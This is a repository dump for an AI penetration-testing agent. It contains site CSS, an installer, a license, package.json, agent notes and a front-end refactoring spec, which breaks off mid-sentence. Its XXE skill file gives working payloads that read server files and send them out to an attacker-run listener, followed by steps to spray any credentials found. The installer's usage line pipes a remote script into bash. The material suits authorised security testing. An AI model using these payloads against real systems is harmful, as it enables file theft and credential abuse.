rgba(255,255,255,.1);display:flex;align-items:center;justify-content:space-between;padding:0 15px;font:9px "DM Mono";color:#666}.terminal-top span{display:flex;gap:5px}.terminal-top i{width:6px;height:6px;border-radius:50%;border:1px solid #555}.terminal-body{padding:38px 45px 55px;font:13px/2 "DM Mono";min-height:360px}.terminal-body p{margin:0}.terminal-body .muted{color:#666}.terminal-body .target{color:#ff5545}.log{color:#b9b7b4}.log b{color:#555;margin-right:14px}.log span{color:#ff5545}.dimmed{color:#555}.terminal-caret{width:7px;height:16px;background:#ff5545;display:inline-block;vertical-align:middle;animation:blink 1s steps(2) infinite}.terminal-caption{margin-left:7vw}.terminal-caption h2{font-size:clamp(55px,9vw,130px);line-height:.82;letter-spacing:-.085em;margin:0}.terminal-caption h2 span{color:transparent;-webkit-text-stroke:1px #eee}.state-section{min-height:110vh}.state-graph{height:560px;max-width:1200px;margin:45px auto 0;position:relative}.state-graph svg{position:absolute;inset:0;width:100%;height:100%;fill:none;stroke:rgba(255,255,255,.18);stroke-width:1;stroke-dasharray:3 8;animation:dash 14s linear infinite}.graph-node{position:absolute;z-index:2;min-width:145px;padding:15px 17px;border:1px solid rgba(255,255,255,.15);background:rgba(7,7,7,.8);backdrop-filter:blur(10px)}.graph-node small{display:block;font:8px "DM Mono";color:#777;margin-bottom:8px}.graph-node strong{font:500 10px "DM Mono";letter-spacing:.04em}.graph-node::after{content:"";position:absolute;inset:-5px;border:1px solid rgba(255,73,58,.12);opacity:0;transition:.4s}.graph-node:hover::after{opacity:1}.host{left:5%;top:37%}.service{left:31%;top:13%}.vuln{left:47%;top:42%}.cred{right:17%;top:18%}.access{right:3%;top:60%}.capabilities{min-height:100vh}.cap-list{margin-top:60px;border-top:1px solid rgba(255,255,255,.15)}.cap{display:grid;grid-template-columns:7% 1fr 28%;align-items:center;min-height:105px;border-bottom:1px solid rgba(255,255,255,.12);transition:padding .5s cubic-bezier(.2,.8,.2,1),background .4s}.cap span,.cap i{font:9px "DM Mono";color:#666}.cap strong{font-size:clamp(28px,5vw,72px);font-weight:700;letter-spacing:-.065em;line-height:1}.cap i{font-style:normal;text-align:right}.cap:hover{padding-left:22px;background:rgba(255,255,255,.025)}.cap:hover strong{color:#ff5848}.install{min-height:90vh;display:grid;place-items:center}.install-inner{width:min(1050px,100%)}.install h2{font-size:clamp(50px,8vw,115px);letter-spacing:-.08em;line-height:.82;margin:0 0 60px}.install h2 span{color:#666}.install-code{height:80px;border:1px solid rgba(255,255,255,.18);display:flex;align-items:center;padding:0 24px;background:rgba(255,255,255,.025);font:14px "DM Mono";transition:border-color .3s}.install-code:hover{border-color:#ff5848}.prompt{color:#ff5848;margin-right:15px}.copy{margin-left:auto;border:0;background:none;color:#888;font:9px "DM Mono";cursor:pointer}.copy:hover{color:#fff}.final{min-height:100vh;display:flex;flex-direction:column;justify-content:center;align-items:center;text-align:center;overflow:hidden}.final-mark{position:absolute;font-size:55vw;line-height:1;font-weight:900;letter-spacing:-.16em;color:rgba(255,255,255,.025);z-index:-1}.final h2{font-size:clamp(70px,13vw,190px);line-height:.76;letter-spacing:-.09em;margin:0 0 55px}.final h2 em{color:transparent;-webkit-text-stroke:1px rgba(255,255,255,.7);font-style:normal}footer{height:90px;border-top:1px solid rgba(255,255,255,.08);padding:0 7vw;display:flex;align-items:center;justify-content:space-between;font:9px "DM Mono";color:#666}footer a{color:#aaa;text-decoration:none}.cursor{position:fixed;pointer-events:none;z-index:100;mix-blend-mode:difference}.cursor-dot{width:5px;height:5px;background:#fff;border-radius:50%;transform:translate(-50%,-50%)}.cursor-ring{width:30px;height:30px;border:1px solid rgba(255,255,255,.7);border-radius:50%;transform:translate(-50%,-50%);transition:width .25s,height .25s,border-color .25s}.cursor-ring.hover{width:58px;height:58px;border-color:#ff5848}@keyframes orbit{to{transform:rotate(386deg) skew(-10deg)}}@keyframes dash{to{stroke-dashoffset:-200}}@keyframes pulse{0%{transform:scale(.8);opacity:.8}100%{transform:scale(1.35);opacity:0}}@keyframes blink{50%{opacity:0}}@keyframes noise{0%{transform:translate(0)}25%{transform:translate(2%,1%)}50%{transform:translate(-1%,-2%)}75%{transform:translate(1%,2%)}100%{transform:translate(-2%,-1%)}}@media(max-width:900px){.nav{height:68px}.nav-meta .status{display:none}.hero{padding-top:140px;min-height:850px}.hero h1{font-size:clamp(66px,16vw,130px)}.hero-visual{width:95vw;right:-28vw;opacity:.42}.hero-copy{margin-top:-130px}.section{padding:110px 6vw}.section-head{gap:30px}.architecture-stage{height:600px}.arch-node{width:105px}.n1{left:0}.n2{left:20%}.n3{left:42%}.n4{right:20%}.n5{right:0}.n6{right:0;bottom:6%}.terminal-wrap{margin:0;transform:none}.terminal-caption{margin-left:0}.state-graph{height:520px}.graph-node{min-width:125px}.host{left:0}.service{left:25%}.vuln{left:43%}.cred{right:8%}.access{right:0}.cap{grid-template-columns:10% 1fr}.cap i{display:none}footer{font-size:8px}.cursor{display:none}}@media(max-width:560px){.nav-link{display:none}.hero{min-height:760px}.hero-copy{margin-top:-180px}.hero h1{font-size:21vw}.hero-sub{font-size:27px}.hero-actions{flex-direction:column;align-items:flex-start}.hero-visual{right:-53vw;top:55%;width:120vw}.section-note{font-size:15px}.architecture-stage{height:520px}.arch-center{width:125px;height:125px}.arch-node{font-size:8px;width:92px;padding:9px}.n2{left:14%}.n3{top:7%}.n4{right:12%;top:9%}.terminal-body{padding:25px 20px;font-size:10px;min-height:300px}.terminal-caption h2{font-size:18vw}.state-graph{height:480px}.graph-node{min-width:105px;padding:10px}.graph-node strong{font-size:8px}.service{left:24%;top:5%}.vuln{left:37%;top:43%}.cred{right:0;top:25%}.access{right:0;top:70%}.cap{min-height:90px}.cap strong{font-size:27px}.install h2{font-size:15vw}.install-code{height:65px;padding:0 14px;font-size:10px;overflow:hidden}.install-code code{white-space:nowrap}.copy{font-size:8px}footer{height:auto;min-height:90px;gap:15px;flex-wrap:wrap;padding-top:22px;padding-bottom:22px}}@media(prefers-reduced-motion:reduce){*,*:before,*:after{animation-duration:.001ms!important;scroll-behavior:auto!important;transition:none!important}.site-bg video{display:none}} - install.sh (4716 bytes)
#!/usr/bin/env bash set -euo pipefail # PentestCode installer # Usage: curl -fsSL https://raw.githubusercontent.com/s0ld13rr/pentestcode/main/install.sh | bash # # Options (env vars): # PENTESTCODE_VERSION — specific version (default: latest) # PENTESTCODE_INSTALL — install directory (default: ~/.local/bin) # PENTESTCODE_REPO — GitHub repo (default: s0ld13rr/pentestcode) REPO="${PENTESTCODE_REPO:-s0ld13rr/pentestcode}" INSTALL_DIR="${PENTESTCODE_INSTALL:-$HOME/.local/bin}" VERSION="${PENTESTCODE_VERSION:-latest}" BIN_NAME="pentestcode" # --- helpers --- info() { printf '\033[1;34m→\033[0m %s\n' "$*"; } ok() { printf '\033[1;32m✓\033[0m %s\n' "$*"; } err() { printf '\033[1;31m✗\033[0m %s\n' "$*" >&2; } die() { err "$@"; exit 1; } detect_os() { case "$(uname -s)" in Linux*) echo "linux" ;; Darwin*) echo "darwin" ;; MINGW*|MSYS*|CYGWIN*) echo "windows" ;; *) die "Unsupported OS: $(uname -s)" ;; esac } detect_arch() { case "$(uname -m)" in x86_64|amd64) echo "x64" ;; aarch64|arm64) echo "arm64" ;; *) die "Unsupported architecture: $(uname -m)" ;; esac } detect_libc() { if [ "$(detect_os)" != "linux" ]; then echo "" return fi if ldd --version 2>&1 | grep -qi musl; then echo "-musl" elif command -v ldd >/dev/null 2>&1; then echo "" elif [ -f /etc/alpine-release ]; then echo "-musl" else echo "" fi } check_avx2() { if [ "$(detect_arch)" != "x64" ]; then echo "" return fi local os os="$(detect_os)" if [ "$os" = "linux" ]; then if grep -q avx2 /proc/cpuinfo 2>/dev/null; then echo "" else echo "-baseline" fi elif [ "$os" = "darwin" ]; then if sysctl -n machdep.cpu.leaf7_features 2>/dev/null | grep -qi avx2; then echo "" else echo "-baseline" fi else echo "" fi } # --- main --- main() { info "Installing PentestCode..." local os arch libc avx2 asset_name ext download_url # tmp_dir is intentionally NOT local: the EXIT cleanup trap runs in the global # scope after install() returns, so a local would be out of scope there and, # under `set -u`, abort with "unbound variable" (exit 1) — even on a successful # install. Keeping it global lets the trap both see it and actually clean up. os="$(detect_os)" arch="$(detect_arch)" libc="$(detect_libc)" avx2="$(check_avx2)" asset_name="${BIN_NAME}-${os}-${arch}${avx2}${libc}" if [ "$os" = "linux" ]; then ext="tar.gz" else ext="zip" fi info "Platform: ${os}/${arch}${libc}${avx2}" # resolve version if [ "$VERSION" = "latest" ]; then info "Fetching latest release..." VERSION=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" \ | grep '"tag_name"' | head -1 | sed 's/.*"v\(.*\)".*/\1/' || true) if [ -z "$VERSION" ]; then die "Could not determine latest version. Set PENTESTCODE_VERSION manually." fi fi info "Version: v${VERSION}" download_url="https://github.com/${REPO}/releases/download/v${VERSION}/${asset_name}.${ext}" # download tmp_dir="$(mktemp -d)" trap 'rm -rf "${tmp_dir:-}" 2>/dev/null || true' EXIT info "Downloading ${download_url}..." if ! curl -fsSL -o "${tmp_dir}/archive.${ext}" "$download_url"; then die "Download failed. Check version and platform: ${asset_name}" fi # extract info "Extracting..." if [ "$ext" = "tar.gz" ]; then tar -xzf "${tmp_dir}/archive.${ext}" -C "$tmp_dir" else unzip -qo "${tmp_dir}/archive.${ext}" -d "$tmp_dir" fi # install mkdir -p "$INSTALL_DIR" local binary="${tmp_dir}/${BIN_NAME}" if [ "$os" = "windows" ]; then binary="${binary}.exe" fi if [ ! -f "$binary" ]; then die "Binary not found in archive. Contents: $(ls "$tmp_dir")" fi chmod +x "$binary" mv "$binary" "${INSTALL_DIR}/${BIN_NAME}" ok "Installed ${BIN_NAME} v${VERSION} to ${INSTALL_DIR}/${BIN_NAME}" # Skills (bundled attack knowledge) are embedded in the binary and seeded to # ~/.pentestcode/skills/bundled on first run — no separate download needed, # and user-authored skills under ~/.pentestcode/skills/{user,packs} are never # touched by upgrades. # check PATH if ! echo "$PATH" | tr ':' '\n' | grep -qx "$INSTALL_DIR"; then echo "" info "Add to your PATH:" echo "" echo " export PATH=\"${INSTALL_DIR}:\$PATH\"" echo "" echo " # Add to ~/.bashrc or ~/.zshrc to make permanent:" echo " echo 'export PATH=\"${INSTALL_DIR}:\$PATH\"' >> ~/.bashrc" echo "" fi # verify if command -v "$BIN_NAME" >/dev/null 2>&1 || [ -x "${INSTALL_DIR}/${BIN_NAME}" ]; then ok "Run 'pentestcode' to start" fi } main "$@" - INSTRUCTIONS.md (2368 bytes)
--- name: web-xxe description: XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error. tags: [vuln_assess, exploitation] --- # XXE (XML External Entity) ## When this fires The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into `word/document.xml` etc.). ## Detect ```xml <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <root>&x;</root> ``` If `/etc/passwd` comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below. ## Decide - Entity value reflected in a response field → in-band file read. - Not reflected but parser fetches your DTD → **blind XXE** → OOB exfil via external DTD. - Non-printable/multiline files break the parser → use `php://filter` base64 wrapper (PHP) to read source. - Entity fetches arbitrary URLs → **XXE→SSRF** (hit internal services / cloud metadata; see web-ssrf). ## Exploit → PROVE IMPACT ```xml <!-- source disclosure (PHP): --> <!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root> <!-- blind OOB exfil (host evil.dtd on your listener): --> <!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]> <!-- evil.dtd: --> <!ENTITY % f SYSTEM "file:///etc/passwd"> <!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x; ``` **Proof required:** contents of a server file (`/etc/passwd`, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags xxe`; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward). ## False positives / pitfalls - Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched. - WAF blocks `<!DOCTYPE>` → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form. - Reflected-but-not-parsed input = not XXE.
- LICENSE (1121 bytes)
MIT License Copyright (c) 2025 PentestCode contributors. Originally forked from OpenCode (MIT). Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
- package.json (4881 bytes)
{ "$schema": "https://json.schemastore.org/package.json", "name": "pentestcode", "description": "AI-powered penetration testing agent", "private": true, "type": "module", "packageManager": "[email protected]", "scripts": { "dev": "bun run --cwd packages/opencode --conditions=browser src/index.ts", "lint": "oxlint", "typecheck": "bun turbo typecheck", "postinstall": "bun run --cwd packages/core fix-node-pty", "prepare": "husky", "test": "echo 'do not run tests from root' && exit 1" }, "workspaces": { "packages": [ "packages/*", "packages/sdk/js" ], "catalog": { "@effect/opentelemetry": "4.0.0-beta.83", "@effect/platform-node": "4.0.0-beta.83", "@effect/sql-sqlite-bun": "4.0.0-beta.83", "@npmcli/arborist": "9.4.0", "@types/bun": "1.3.13", "@types/cross-spawn": "6.0.6", "@octokit/rest": "22.0.0", "@hono/standard-validator": "0.2.0", "@hono/zod-validator": "0.4.2", "@opentui/core": "0.4.3", "@opentui/keymap": "0.4.3", "@opentui/solid": "0.4.3", "@tanstack/solid-virtual": "3.13.28", "@shikijs/stream": "4.2.0", "ulid": "3.0.1", "@kobalte/core": "0.13.11", "@types/luxon": "3.7.1", "@types/node": "24.12.2", "@types/semver": "7.7.1", "@tsconfig/node22": "22.0.2", "@tsconfig/bun": "1.0.9", "@cloudflare/workers-types": "4.20251008.0", "@openauthjs/openauth": "0.0.0-20250322224806", "@pierre/diffs": "1.2.10", "opentui-spinner": "0.0.7", "@solid-primitives/storage": "4.3.3", "@tailwindcss/vite": "4.1.11", "diff": "8.0.2", "dompurify": "3.3.1", "drizzle-kit": "1.0.0-rc.2", "drizzle-orm": "1.0.0-rc.2", "effect": "4.0.0-beta.83", "ai": "6.0.168", "cross-spawn": "7.0.6", "hono": "4.10.7", "hono-openapi": "1.1.2", "fuzzysort": "3.1.0", "luxon": "3.6.1", "marked": "17.0.1", "marked-shiki": "1.2.1", "remend": "1.3.0", "@playwright/test": "1.59.1", "semver": "7.7.4", "typescript": "5.8.2", "@typescript/native-preview": "7.0.0-dev.20251207.1", "zod": "4.1.8", "remeda": "2.26.0", "sst": "4.13.1", "shiki": "4.2.0", "solid-list": "0.3.0", "tailwindcss": "4.1.11", "vite": "7.1.4", "@solidjs/meta": "0.29.4", "@solidjs/router": "0.15.4", "@solidjs/start": "https://pkg.pr.new/@solidjs/start@dfb2020", "@sentry/solid": "10.36.0", "@sentry/vite-plugin": "4.6.0", "solid-js": "1.9.10", "vite-plugin-solid": "2.11.10", "@lydell/node-pty": "1.2.0-beta.12" } }, "devDependencies": { "@actions/artifact": "5.0.1", "@tsconfig/bun": "catalog:", "@types/mime-types": "3.0.1", "@typescript/native-preview": "catalog:", "glob": "13.0.5", "husky": "9.1.7", "oxlint": "1.60.0", "oxlint-tsgolint": "0.21.0", "prettier": "3.6.2", "semver": "^7.6.0", "sst": "catalog:", "turbo": "2.10.2" }, "dependencies": { "@pentestcode/plugin": "workspace:*", "@pentestcode/script": "workspace:*", "@pentestcode/sdk": "workspace:*", "typescript": "catalog:" }, "repository": { "type": "git", "url": "https://github.com/s0ld13rr/pentestcode" }, "license": "MIT", "prettier": { "semi": false, "printWidth": 120 }, "trustedDependencies": [ "esbuild", "node-pty", "protobufjs", "tree-sitter", "tree-sitter-bash", "tree-sitter-powershell", "web-tree-sitter", "electron" ], "overrides": { "@opentui/core": "catalog:", "@opentui/keymap": "catalog:", "@opentui/solid": "catalog:", "@types/bun": "catalog:", "@types/node": "catalog:" }, "patchedDependencies": { "@ff-labs/[email protected]": "patches/@ff-labs%[email protected]", "@npmcli/[email protected]": "patches/@npmcli%[email protected]", "@silvia-odwyer/[email protected]": "patches/@silvia-odwyer%[email protected]", "@standard-community/[email protected]": "patches/@standard-community%[email protected]", "[email protected]": "patches/[email protected]", "@ai-sdk/[email protected]": "patches/@ai-sdk%[email protected]", "[email protected]": "patches/[email protected]", "[email protected]": "patches/[email protected]", "@ai-sdk/[email protected]": "patches/@ai-sdk%[email protected]", "@tanstack/[email protected]": "patches/@tanstack%[email protected]", "@pierre/[email protected]": "patches/@pierre%[email protected]", "@modelcontextprotocol/[email protected]": "patches/@modelcontextprotocol%[email protected]", "@tanstack/[email protected]": "patches/@tanstack%[email protected]", "[email protected]": "patches/[email protected]" } } - packages/app/AGENTS.md (1221 bytes)
## Priorities - Prioritise, in this order: stability, simplicity, performance. - Before changing session or timeline code, record a production benchmark baseline and compare it after the change. ## Debugging - NEVER try to restart the app, or the server process, EVER. ## Local Dev - `opencode dev web` proxies `https://app.opencode.ai`, so local UI/CSS changes will not show there. - For local UI changes, run the backend and app dev servers separately. - Backend (from `packages/opencode`): `bun run --conditions=browser ./src/index.ts serve --port 4096` - App (from `packages/app`): `bun dev -- --port 4444` - Open `http://localhost:4444` to verify UI changes (it targets the backend at `http://localhost:4096`). ## SolidJS - Always prefer `createStore` over multiple `createSignal` calls ## Tool Calling - ALWAYS USE PARALLEL TOOLS WHEN APPLICABLE. ## Browser Automation Use `agent-browser` for web automation. Run `agent-browser --help` for all commands. Core workflow: 1. `agent-browser open <url>` - Navigate to page 2. `agent-browser snapshot -i` - Get interactive elements with refs (@e1, @e2) 3. `agent-browser click @e1` / `fill @e2 "text"` - Interact using refs 4. Re-snapshot after page changes
- packages/app/bunfig.toml (50 bytes)
[test] root = "./src" preload = ["./happydom.ts"]
- packages/app/create-effect-simplification-spec.md (18928 bytes)
# CreateEffect Simplification Implementation Spec Reduce reactive misuse across `packages/app`. --- ## Context This work targets `packages/app/src`, which currently has 101 `createEffect` calls across 37 files. The biggest clusters are `pages/session.tsx` (19), `pages/layout.tsx` (13), `pages/session/file-tabs.tsx` (6), and several context providers that mirror one store into another. Key issues from the audit: - Derived state is being written through effects instead of computed directly - Session and file resets are handled by watch-and-clear effects instead of keyed state boundaries - User-driven actions are hidden inside reactive effects - Context layers mirror and hydrate child stores with multiple sync effects - Several areas repeat the same imperative trigger pattern in multiple effects Keep the implementation focused on removing unnecessary effects, not on broad UI redesign. ## Goals - Cut high-churn `createEffect` usage in the hottest files first - Replace effect-driven derived state with reactive derivation - Replace reset-on-key effects with keyed ownership boundaries - Move event-driven work to direct actions and write paths - Remove mirrored store hydration where a single source of truth can exist - Leave necessary external sync effects in place, but make them narrower and clearer ## Non-Goals - Do not rewrite unrelated component structure just to reduce the count - Do not change product behavior, navigation flow, or persisted data shape unless required for a cleaner write boundary - Do not remove effects that bridge to DOM, editors, polling, or external APIs unless there is a clearly safer equivalent - Do not attempt a repo-wide cleanup outside `packages/app` ## Effect Taxonomy And Replacement Rules Use these rules during implementation. ### Prefer `createMemo` Use `createMemo` when the target value is pure derived state from other signals or stores. Do this when an effect only reads reactive inputs and writes another reactive value that could be computed instead. Apply this to: - `packages/app/src/pages/session.tsx:141` - `packages/app/src/pages/layout.tsx:557` - `packages/app/src/components/terminal.tsx:261` - `packages/app/src/components/session/session-header.tsx:309` Rules: - If no external system is touched, do not use `createEffect` - Derive once, then read the memo where needed - If normalization is required, prefer normalizing at the write boundary before falling back to a memo ### Prefer Keyed Remounts Use keyed remounts when local UI state should reset because an identity changed. Do this with `sessionKey`, `scope()`, or another stable identity instead of watching the key and manually clearing signals. Apply this to: - `packages/app/src/pages/session.tsx:325` - `packages/app/src/pages/session.tsx:336` - `packages/app/src/pages/session.tsx:477` - `packages/app/src/pages/session.tsx:869` - `packages/app/src/pages/session.tsx:963` - `packages/app/src/pages/session/message-timeline.tsx:149` - `packages/app/src/context/file.tsx:100` Rules: - If the desired behavior is "new identity, fresh local state," key the owner subtree - Keep state local to the keyed boundary so teardown and recreation handle the reset naturally ### Prefer Event Handlers And Actions Use direct handlers, store actions, and async command functions when work happens because a user clicked, selected, reloaded, or navigated. Do this when an effect is just watching for a flag change, command token, or event-bus signal to trigger imperative logic. Apply this to: - `packages/app/src/pages/layout.tsx:484` - `packages/app/src/pages/layout.tsx:652` - `packages/app/src/pages/layout.tsx:776` - `packages/app/src/pages/layout.tsx:1489` - `packages/app/src/pages/layout.tsx:1519` - `packages/app/src/components/file-tree.tsx:328` - `packages/app/src/pages/session/terminal-panel.tsx:55` - `packages/app/src/context/global-sync.tsx:148` - Duplicated trigger sets in: - `packages/app/src/pages/session/review-tab.tsx:122` - `packages/app/src/pages/session/review-tab.tsx:130` - `packages/app/src/pages/session/review-tab.tsx:138` - `packages/app/src/pages/session/file-tabs.tsx:367` - `packages/app/src/pages/session/file-tabs.tsx:378` - `packages/app/src/pages/session/file-tabs.tsx:389` - `packages/app/src/pages/session/use-session-hash-scroll.ts:144` - `packages/app/src/pages/session/use-session-hash-scroll.ts:149` - `packages/app/src/pages/session/use-session-hash-scroll.ts:167` Rules: - If the trigger is user intent, call the action at the source of that intent - If the same imperative work is triggered from multiple places, extract one function and call it directly ### Prefer `onMount` And `onCleanup` Use `onMount` and `onCleanup` for lifecycle-only setup and teardown. This is the right fit for subscriptions, one-time wiring, timers, and imperative integration that should not rerun for ordinary reactive changes. Use this when: - Setup should happen once per owner lifecycle - Cleanup should always pair with teardown - The work is not conceptually derived state ### Keep `createEffect` When It Is A Real Bridge Keep `createEffect` when it synchronizes reactive data to an external imperative sink. Examples that should remain, though they may be narrowed or split: - DOM/editor sync in `packages/app/src/components/prompt-input.tsx:690` - Scroll sync in `packages/app/src/pages/session.tsx:685` - Scroll/hash sync in `packages/app/src/pages/session/use-session-hash-scroll.ts:149` - External sync in: - `packages/app/src/context/language.tsx:207` - `packages/app/src/context/settings.tsx:110` - `packages/app/src/context/sdk.tsx:26` - Polling in: - `packages/app/src/components/status-popover.tsx:59` - `packages/app/src/components/dialog-select-server.tsx:273` Rules: - Keep the effect single-purpose - Make dependencies explicit and narrow - Avoid writing back into the same reactive graph unless absolutely required ## Implementation Plan ### Phase 0: Classification Pass Before changing code, tag each targeted effect as one of: derive, reset, event, lifecycle, or external bridge. Acceptance criteria: - Every targeted effect in this spec is tagged with a replacement strategy before refactoring starts - Shared helpers to be introduced are identified up front to avoid repeating patterns ### Phase 1: Derived-State Cleanup Tackle highest-value, lowest-risk derived-state cleanup first. Priority items: - Normalize tabs at write boundaries and remove `packages/app/src/pages/session.tsx:141` - Stop syncing `workspaceOrder` in `packages/app/src/pages/layout.tsx:557` - Make prompt slash filtering reactive so `packages/app/src/components/prompt-input.tsx:652` can be removed - Replace other obvious derived-state effects in terminal and session header Acceptance criteria: - No behavior change in tab ordering, prompt filtering, terminal display, or header state - Targeted derived-state effects are deleted, not just moved ### Phase 2: Keyed Reset Cleanup Replace reset-on-key effects with keyed ownership boundaries. Priority items: - Key session-scoped UI and state by `sessionKey` - Key file-scoped state by `scope()` - Remove manual clear-and-reseed effects in session and file context Acceptance criteria: - Switching session or file scope recreates the intended local state cleanly - No stale state leaks across session or scope changes - Target reset effects are deleted ### Phase 3: Event-Driven Work Extraction Move event-driven work out of reactive effects. Priority items: - Replace `globalStore.reload` effect dispatching with direct calls - Split mixed-responsibility effect in `packages/app/src/pages/layout.tsx:1489` - Collapse duplicated imperative trigger triplets into single functions - Move file-tree and terminal-panel imperative work to explicit handlers Acceptance criteria: - User-triggered behavior still fires exactly once per intended action - No effect remains whose only job is to notice a command-like state and trigger an imperative function ### Phase 4: Context Ownership Cleanup Remove mirrored child-store hydration patterns. Priority items: - Remove child-store hydration mirrors in `packages/app/src/context/global-sync/child-store.ts:184`, `:190`, `:193` - Simplify mirror logic in `packages/app/src/context/global-sync.tsx:130`, `:138` - Revisit `packages/app/src/context/layout.tsx:424` if it still mirrors instead of deriving Acceptance criteria: - There is one clear source of truth for each synced value - Child stores no longer need effect-based hydration to stay consistent - Initialization and updates both work without manual mirror effects ### Phase 5: Cleanup And Keeper Review Clean up remaining targeted hotspots and narrow the effects that should stay. Acceptance criteria: - Remaining `createEffect` calls in touched files are all true bridges or clearly justified lifecycle sync - Mixed-responsibility effects are split into smaller units where still needed ## Detailed Work Items By Area ### 1. Normalize Tab State Files: - `packages/app/src/pages/session.tsx:141` Work: - Move tab normalization into the functions that create, load, or update tab state - Make readers consume already-normalized tab data - Remove the effect that rewrites derived tab state after the fact Rationale: - Tabs should become valid when written, not be repaired later - This removes a feedback loop and makes state easier to trust Acceptance criteria: - The effect at `packages/app/src/pages/session.tsx:141` is removed - Newly created and restored tabs are normalized before they enter local state - Tab rendering still matches current behavior for valid and edge-case inputs ### 2. Key Session-Owned State Files: - `packages/app/src/pages/session.tsx:325` - `packages/app/src/pages/session.tsx:336` - `packages/app/src/pages/session.tsx:477` - `packages/app/src/pages/session.tsx:869` - `packages/app/src/pages/session.tsx:963` - `packages/app/src/pages/session/message-timeline.tsx:149` Work: - Identify state that should reset when `sessionKey` changes - Move that state under a keyed subtree or keyed owner boundary - Remove effects that watch `sessionKey` just to clear local state, refs, or temporary UI flags Rationale: - Session identity already defines the lifetime of this UI state - Keyed ownership makes reset behavior automatic and easier to reason about Acceptance criteria: - The targeted reset effects are removed - Changing sessions resets only the intended session-local state - Scroll and editor state that should persist are not accidentally reset ### 3. Derive Workspace Order Files: - `packages/app/src/pages/layout.tsx:557` Work: - Stop writing `workspaceOrder` from live workspace data in an effect - Represent user overrides separately from live workspace data - Compute effective order from current data plus overrides with a memo or pure helper Rationale: - Persisted user intent and live source data should not mirror each other through an effect - A computed effective order avoids drift and racey resync behavior Acceptance criteria: - The effect at `packages/app/src/pages/layout.tsx:557` is removed - Workspace order updates correctly when workspaces appear, disappear, or are reordered by the user - User overrides persist without requiring a sync-back effect ### 4. Remove Child-Store Mirrors Files: - `packages/app/src/context/global-sync.tsx:130` - `packages/app/src/context/global-sync.tsx:138` - `packages/app/src/context/global-sync.tsx:148` - `packages/app/src/context/global-sync/child-store.ts:184` - `packages/app/src/context/global-sync/child-store.ts:190` - `packages/app/src/context/global-sync/child-store.ts:193` - `packages/app/src/context/layout.tsx:424` Work: - Trace the actual ownership of global and child store values - Replace hydration and mirror effects with explicit initialization and direct updates - Remove the `globalStore.reload` event-bus pattern and call the needed reload paths directly Rationale: - Mirrors make it hard to tell which state is authoritative - Event-bus style state toggles hide control flow and create accidental reruns Acceptance criteria: - Child store hydration no longer depends on effect-based copying - Reload work can be followed from the event source to the handler without a reactive relay - State remains correct on first load, child creation, and subsequent updates ### 5. Key File-Scoped State Files: - `packages/app/src/context/file.tsx:100` Work: - Move file-scoped local state under a boundary keyed by `scope()` - Remove any effect that watches `scope()` only to reset file-local state Rationale: - File scope changes are identity changes - Keyed ownership gives a cleaner reset than manual clear logic Acceptance criteria: - The effect at `packages/app/src/context/file.tsx:100` is removed - Switching scopes resets only scope-local state - No previous-scope data appears after a scope change ### 6. Split Layout Side Effects Files: - `packages/app/src/pages/layout.tsx:1489` - Related event-driven effects near `packages/app/src/pages/layout.tsx:484`, `:652`, `:776`, `:1519` Work: - Break the mixed-responsibility effect at `:1489` into direct actions and smaller bridge effects only where required - Move user-triggered branches into the actual command or handler that causes them - Remove any branch that only exists because one effect is handling unrelated concerns Rationale: - Mixed effects hide cause and make reruns hard to predict - Smaller units reduce accidental coupling and make future cleanup safer Acceptance criteria: - The effect at `packages/app/src/pages/layout.tsx:1489` no longer mixes unrelated responsibilities - Event-driven branches execute from direct handlers - Remaining effects in this area each have one clear external sync purpose ### 7. Remove Duplicate Triggers Files: - `packages/app/src/pages/session/review-tab.tsx:122` - `packages/app/src/pages/session/review-tab.tsx:130` - `packages/app/src/pages/session/review-tab.tsx:138` - `packages/app/src/pages/session/file-tabs.tsx:367` - `packages/app/src/pages/session/file-tabs.tsx:378` - `packages/app/src/pages/session/file-tabs.tsx:389` - `packages/app/src/pages/session/use-session-hash-scroll.ts:144` - `packages/app/src/pages/session/use-session-hash-scroll.ts:149` - `packages/app/src/pages/session/use-session-hash-scroll.ts:167` Work: - Extract one explicit imperative function per behavior - Call that function from each source event instead of replicating the same effect pattern multiple times - Preserve the scroll-sync effect that is truly syncing with the DOM, but remove duplicate trigger scaffolding around it Rationale: - Duplicate triggers make it easy to miss a case or fire twice - One named action is easier to test and reason about Acceptance criteria: - Repeated imperative effect triplets are collapsed into shared functions - Scroll behavior still works, including hash-based 